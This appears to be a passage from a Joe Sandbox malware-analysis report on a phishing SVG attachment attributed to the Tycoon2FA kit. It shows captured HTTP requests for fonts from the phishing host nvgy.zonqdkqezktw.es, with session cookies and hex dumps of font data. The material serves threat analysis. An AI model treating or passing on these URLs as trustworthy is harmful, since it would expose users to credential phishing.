2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 37 b8 e6 da 03 dc b3 cc ab ec 24 dc aa 94 7f a2 fe e7 6c 21 4b 8d 61 62 b1 21 8c 2c 75 b2 c4 51 d7 44 c9 c4 7b d5 7b bf e6 fb 01 16 52 9c 9d 80 af 1d 73 5e db f9 da 5b e6 5d ad ba 53 6c 84 af db 02 bb 6c 2f 79 f0 fc b8 6d 5c 92 2d 9f 27 8d 77 77 77 de fd 2c db e7 ef 9d 47 08 5d c5 ae de 3f dc cd c6 73 67 a0 ac 6f 0a 42 a6 4e 55 c3 bc d7 a7 80 36 bb 3b 4c 87 0b ff 78 f8 94 3c 73 fa 29 dc f5 34 07 0c 82 1c b2 fc f6 28 25 35 ec 51 98 3e e5 79 12 ec cc 3e a8 df 54 3f b3 8d d3 4e 3d dc 25 12 7d 23 a8 1b b7 3a 7e 84 e9 5c 57 59 a1 69 f8 4e cc 13 74 cb f6 59 8a f2 c7 7b 23 1e 5c 11 6f cd 9f 0e 5a 7b 48 bd b1 a1 bc 98 60 7c 98 af e8 a1 d0 37 2c 4c e8 f3 d2 5f 18 81 47 ca 7f f4 b6 87 82 e9 75 90 42 08 38 2a 3c 44 02 86 34 04 65 98 f6 e8 c4 68 ca 84 b1 22 27 99 42 Data Ascii: 7$l!Kab!,uQD{{Rs^[]Sll/ym\-'www,G]?sgoBNU6;Lx<s)4(%5Q>y>T?N=%}#:~\WYiNtY{#\oZ{H`\|7,L_GuB8*<D4eh"'B

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EFTRemittance_Kenneth_KHQCSQELUN_attach.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Windows Analysis Report
EFTRemittance_Kenneth_KHQCSQELUN_attach.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1389	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1173	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" cf-cache-status: HIT Age: 1757 Last-Modified: Wed, 26 Mar 2025 20:19:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7t0h%2BvDi8o66%2FggnLa%2FDgYWTfCZK65j%2B6nhohFdYmB%2B9CU09xJn15kUmoWfsSgvVCvFCPAZlhrOjfGf%2BgcKozZNRo72X6xBHb14aNuc0ifXlrHWmDECqYNckTFKm3zZmhB70"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=424&min_rtt=312&rtt_var=153&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2377&delivery_rate=9026785&cwnd=252&unsent_bytes=0&cid=6fa17789590c6505&ts=13&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9269a3c95dfa7095-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89314&min_rtt=89200&rtt_var=18923&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1961&delivery_rate=34260&cwnd=252&unsent_bytes=0&cid=3fb249492b04ad4e&ts=205&x=0"
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: f0 35 05 d8 f7 82 d3 07 34 1d aa 18 dc d8 61 49 cc 0f fc 87 78 1e ce e7 63 f6 26 07 4a 20 bd 5a 48 af 16 b3 f7 cb ec 57 e3 3c 97 e2 20 c1 32 cc f8 a0 4b 82 06 24 e8 87 5f 7b 10 72 78 18 ba 11 8f b3 44 78 84 34 5c 25 cb 55 32 ae 92 70 e5 05 0d c7 d4 9b 2e 4a 0f 43 6e f9 b0 a4 02 f4 d9 0b cc 53 c0 d7 e9 94 0d ea 36 80 4b 99 e0 52 0e a8 cc 00 97 9a 41 65 b9 69 a5 5a c7 28 c0 0b f1 bb 88 b2 40 ed 51 70 2b 0d 9c 4a 05 b5 83 40 ed 00 c8 2a 07 d4 fa 20 a7 2c 5e 83 7e 6b 31 ee 26 8c b3 99 fa 81 f2 14 50 dc 0f d8 0c b4 78 b1 fb b0 43 83 e1 2f 5e c1 b1 37 28 8a b3 f8 15 67 5a 33 ec 63 06 b0 cf c4 28 b3 f0 f4 6c fc ce 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 Data Ascii: 54aIxc&J ZHW< 2K$_{rxDx4\%U2p.JCnS6KRAeiZ(@Qp+J@* ,^~k1&PxC/^7(gZ3c(lUpmKagdLPZPMxv3(_XobJ
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 6d fc 5d e4 14 6b c3 b2 0c db ae cf eb 76 f3 da 55 d9 66 c7 9a ca 36 14 9f 83 2f 62 68 e9 39 f5 2e 2a 6f 03 99 6f 37 4a 73 da 8b 61 31 03 e8 3a c9 33 fa 53 2a 8e 97 c6 36 eb f8 aa 79 fd 45 40 c5 7e 54 8d e5 f8 2d 57 fb d4 1a ca 41 fd 5b e9 8e 47 aa 17 0e fd ac 95 82 cb 62 1d 25 9d 2d de c1 1b 6f 1e 91 2d 85 22 af 13 c5 b6 f6 91 3a 76 07 b2 c7 ad 91 ed db e5 01 22 53 1b 1b 3a 13 25 c7 d4 f1 26 35 4a 7b 20 42 44 a2 88 77 62 b3 f9 89 65 f5 34 8e e2 a4 02 f2 43 f2 c9 c8 eb 6c be 9d 08 a3 2e c5 da bd 31 89 e3 7a e5 2a a4 2a a2 58 82 41 17 e1 66 af 58 a9 31 11 da c6 5c 24 34 06 2f e2 5a 26 91 2e f2 0d 19 46 9d 54 ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df Data Ascii: m]kvUf6/bh9.oo7Jsa1:3S6yE@~T-WA[Gb%-o-":v"S:%&5J{ BDwbe4Cl.1z*XAfX1\$4/Z&.FT^Y,WEzJv}6WA5UWT
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: a3 c7 a1 21 1f ab 62 b4 96 88 5d 7f 8e b9 cd c3 d9 6a 3d 8a ca 87 3f 5c 02 d9 16 d3 63 c2 b9 75 ea 41 db 16 cd ef 8e c0 cb 0a e7 8d 8d 17 73 20 70 09 f3 07 fd 03 d4 07 ea 49 58 e8 69 99 ef 29 35 bf 8d 72 06 5c 79 47 05 72 a3 ca b6 9e 15 1c b0 ec 88 ae 8e be 5a dc fe 3a 82 37 fb 22 cc 17 b9 db 93 ad b7 b5 9d e7 97 2d 6d 6c f6 4b f0 e5 6c a4 f8 6c 45 d0 36 eb d5 96 a5 2d 80 9e 6c 17 7b 39 ef bc 31 0a ba 69 33 df 85 b9 ef ab 5d f0 f8 5f 7c ed 8c b8 46 fc 57 0b ac fc a4 6b f4 90 e3 e5 4a c5 d2 5b 22 50 69 e8 95 04 f5 b2 b5 06 d5 68 fa d8 30 fb 3f 69 cd 54 b7 57 8a 6e 96 a9 37 91 9b d6 41 8f 3f ef 2c 27 02 4d 4d 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb Data Ascii: !b]j=?\cuAs pIXi)5r\yGrZ:7"-mlKllE6-l{91i3]_\|FWkJ["Pih0?iTWn7A?,'MM&w$<!89&[<FiQ[g;y=q'9Ey
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 93 1f e3 7c c0 64 2e 04 fc 8c df e3 ed fc 38 ef e0 22 7e 42 ff 7f 16 fe 77 fd 9f 73 78 37 2a 85 81 a0 f9 3a 1a 4a 0f e2 ce f5 c8 e9 07 d1 60 ba 81 86 c8 d9 50 cc 2b 1e d5 c2 4d 34 9c 1e 82 95 df 0c 0d ba 85 6e 45 df 07 f1 dc 40 1c 07 e1 fe 50 80 de 6e b4 3c c0 60 f4 98 84 e3 bd b2 0f ec 10 1e 04 6e 1b 86 ca b8 91 e0 7a 0b 06 45 80 c1 16 bd 43 80 79 88 eb fe d0 28 70 23 e6 33 4c e6 64 c3 70 81 87 3a 80 9b 2d b8 c5 81 5b 1d 98 44 23 e8 36 1a 09 ec a3 29 9d ee a4 71 74 37 e0 5e c0 58 dc 1b 07 18 8f f6 be f4 03 ba 9f 7e 88 96 6b e9 47 34 80 1e c0 73 a3 01 e3 f1 f4 68 dc 1d 8f 3d 55 fa 8f a5 3e f8 9d 80 67 f4 7a 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd Data Ascii: \|d.8"~Bwsx7*:J`P+M4nE@Pn<`nzECy(p#3Ldp:-[D#6)qt7^X~kG4sh=U>gzkvgG=6wZ)80<m
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: f8 dc d6 a8 fd f7 16 c7 a4 71 43 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 Data Ascii: qC4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 97 85 dc 5d 14 d3 93 22 86 eb 32 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de Data Ascii: ]"2)j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 6d 53 f1 86 97 56 f4 be b2 a7 ca dc b8 a1 e4 3d bb e7 b5 a5 fd 12 4d f9 50 3a 5e 06 5b 04 99 df 2c e6 da c9 dc f6 2e 27 f3 dc 87 75 1c 27 33 c8 36 b3 d6 a8 25 34 15 98 7e 41 b0 3f 08 24 b5 9f 67 2a ee ac 63 ea ec a7 c4 f6 f0 59 68 8f 45 3a 9b af 38 2c 94 dd b4 be 44 ec 40 0b 50 53 20 82 00 60 83 47 6f b3 37 01 56 47 e4 16 91 58 e2 2c a2 55 50 33 2b 4f 20 5f 1f 77 0d d2 61 1d 47 29 94 c2 98 ac 01 01 84 20 16 c0 c5 9f c1 df f4 be b0 be 54 7d 47 bd be 3d bb ce 1a 26 fc d3 7f e6 ba e7 3a c3 37 ee 0c 9b be b4 8e dd 3f b2 54 10 fe 47 ea e7 25 da 4f 98 11 1a 35 87 39 59 fc 22 22 cb 28 8e 80 ae 07 f2 d0 f9 f9 f1 44 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc Data Ascii: mSV=MP:^[,.'u'36%4~A?$g*cYhE:8,D@PS `Go7VGX,UP3+O _waG) T}G=&:7?TG%O59Y""(Di_\|97"MFt&syqhXOox`[
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: c5 69 54 ce b6 98 9b 9a a1 d6 18 42 7e 5a a8 e8 a3 15 7f dc d5 a1 49 46 ec 60 97 69 09 e3 19 b4 f1 cc 07 ec 1f ec 4f 33 a9 f6 9f 33 0b 46 8e 0b 65 8f 30 e5 c2 4b b8 42 b1 d4 88 7d cf 1d b3 2f 61 0e 22 2a 37 aa 46 6f 6b 6a 60 ae 86 a1 34 f4 a7 f2 33 7a 30 a2 dc b5 98 30 31 52 81 91 25 9a 55 72 89 86 98 5d f0 c1 0d 10 57 c3 87 c6 46 b1 06 71 3d 78 15 c7 b7 bb 61 22 3c 89 ba 0e 28 f7 d0 30 2a 15 6a 76 97 4d 2f b1 a9 94 c9 40 d1 18 60 b9 07 d6 68 1c 6a d9 cc 72 05 e4 e6 36 66 d2 31 8d a2 21 a2 52 a9 1b dd b1 5a ed 23 d5 43 a2 01 d7 68 0b 8a 08 47 28 3e 2e 3c 2d 22 0d fa 16 46 68 a6 8b 37 7a 02 d9 0c 16 95 ca e8 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc Data Ascii: iTB~ZIF`iO33Fe0KB}/a"7Fokj`43z001R%Ur]WFq=xa"<(0jvM/@`hjr6f1!RZ#ChG(>.<-"Fh7z -ctuRzuZN=UwN8)cr{nO
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 0a b5 5f 19 26 0e 71 78 d9 a6 36 e1 fe 27 31 2e 4a 8a 4c 4b 61 7f 32 62 90 dd e3 99 3b 16 16 61 d9 47 ea a5 73 2c 18 a5 d8 92 24 55 db 4e bc 24 16 71 34 54 45 b9 08 fc 23 3f 6d 50 80 36 d8 2f 38 de a0 f5 25 fe 11 cc 21 b3 d6 ac f8 9e 56 25 70 79 56 10 7e 38 70 69 47 45 c5 8e 97 17 5f bd ba 75 e5 ea cd e0 79 0a f6 ec 45 8f 75 76 3e d6 9b f5 65 43 7d 7d 9b f0 84 18 cf 92 fd 0c 1f 62 57 82 73 00 e3 ae 42 7c 3b 31 ad c6 f4 8e 8f aa 42 9e 34 1a 75 18 8d 47 50 fb 44 9c 36 c6 f7 ec a2 f7 61 b7 0b 76 56 8f ef fd ec 33 61 e5 25 fb 33 cc fc d1 51 74 7e f4 b6 aa 00 da 8f 23 de 01 78 33 5e 4c 1f 42 a4 1c 21 f7 29 b4 5c 4d cb c3 f9 e5 72 b9 9b d9 a1 fc 75 12 26 11 db d1 84 d1 72 1f b1 1d ae 54 2c 07 9d 7f 13 e6 87 5c fe 7d ce 2c c3 bb 6d a6 f0 5a 11 9e 7f 51 86 57 7d Data Ascii: _&qx6'1.JLKa2b;aGs,$UN$q4TE#?mP6/8%!V%pyV~8piGE_uyEuv>eC}}bWsB\|;1B4uGPD6avV3a%3Qt~#x3^LB!)\Mru&rT,\},mZQW}

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1393	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Server: cloudflare Accept-Ranges: bytes Content-Disposition: inline; filename="GDSherpa-regular.woff2" Age: 1757 Last-Modified: Wed, 26 Mar 2025 19:16:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AeeO7%2FEkDz6ne5DVxuy7J2RzyhfjhPls25kvS3BkZiqOm2xHD6t%2BTWtwR9jHQ4QPzdjqan6DmmD4Knlmn7sQpGWtUtN1emry4fXB6ReFzvSv7qpfnXUVWyb6hhWKC%2FfWfBX%2B"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=323&min_rtt=296&rtt_var=129&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2383&delivery_rate=8513684&cwnd=252&unsent_bytes=0&cid=0630049b0d5d7555&ts=17&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: HIT CF-RAY: 9269a3c968eefbf2-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 21:11:19 UTC	411	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a 9f 0a 5f a5 a0 ff a6 fa 1a f1 cc 13 08 64 64 3d cb 20 6c d9 bf f3 53 4a 9b b3 66 6a 6d cd ed 19 e7 5c 86 85 d3 9e f2 8b 86 29 a5 0d c0 36 cb cd 9d e7 e6 c2 d8 6d 56 83 60 00 4a d9 b4 52 82 41 09 0a 52 0a 82 01 12 16 4a 19 99 8b 54 97 79 db c5 d6 17 f5 bb c5 b9 8a ab 6d bf e3 e1 6b 2d b0 d7 1f ba 7b 27 96 55 64 22 d9 87 15 82 43 07 24 64 2a 2e 4e 20 39 7d fe 4e 5d ed 0e 32 70 83 71 d5 54 db 99 0e 36 1e 2d 41 08 55 96 f1 17 88 22 b9 ce 83 6f d9 5c 18 11 93 07 ed ed bc 75 68 9b a9 85 24 d6 97 de 34 6a ab b3 76 87 a4 83 39 a2 13 bf 04 61 6e 6c 2f 4e 54 b7 a5 f4 aa 4b c6 dd fb f0 6b ea fb 41 a4 cb 05 10 da 8e a0 c6 cc a9 09 d9 ff 55 35 53 Data Ascii: 9RmjCWm]:{p?POBEuJ_dd= lSJfjm\)6mV`JRARJTymk-{'Ud"C$d*.N 9}N]2pqT6-AU"o\uh$4jv9anl/NTKkAU5S
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 8b 48 c9 1f 54 95 4a c4 b9 30 36 d5 68 9c d9 ac 1e 6f 6a 04 5a 91 19 3f ba 30 2d 51 a6 a7 0d db 81 6a 2a 88 76 89 af 47 89 e1 2a 1a 89 50 0e 52 f2 35 30 aa 1c f3 f7 82 fa c6 8c a8 d4 ca 9a f8 be df cf 5f fc fe cd 9f 43 fe 4f 5c 98 ba d3 12 58 c6 0a 56 b1 81 cd 37 73 e2 dd 73 9f 3e cc b8 6d 5e 2d 50 52 a6 1f 38 08 86 8d a4 7b 79 90 7d 7a 82 ee 06 7d 4e 64 23 a9 8c 82 69 83 91 4b 19 99 2c a5 9f 3a 90 28 f8 29 38 27 d2 4a de c8 f2 35 28 a9 d4 28 4d b1 4e 1f ad 2e 06 c6 c9 58 7f 03 ee 11 fb 9c 23 aa 25 4f 4b 1b 7a b5 83 68 48 ba 9c 7d 20 e8 54 30 d5 04 14 00 26 1a 2c 0b 54 b2 80 cb 34 90 36 a9 da b5 c2 17 d7 d5 c7 90 71 2b cd 8a 60 60 37 Data Ascii: e]F&1z),(ZAsRHTJ06hojZ?0-QjvG*PR50_CO\XV7ss>m^-PR8{y}z}Nd#iK,:()8'J5((MN.X#%OKzhH} T0&,T46q+``7
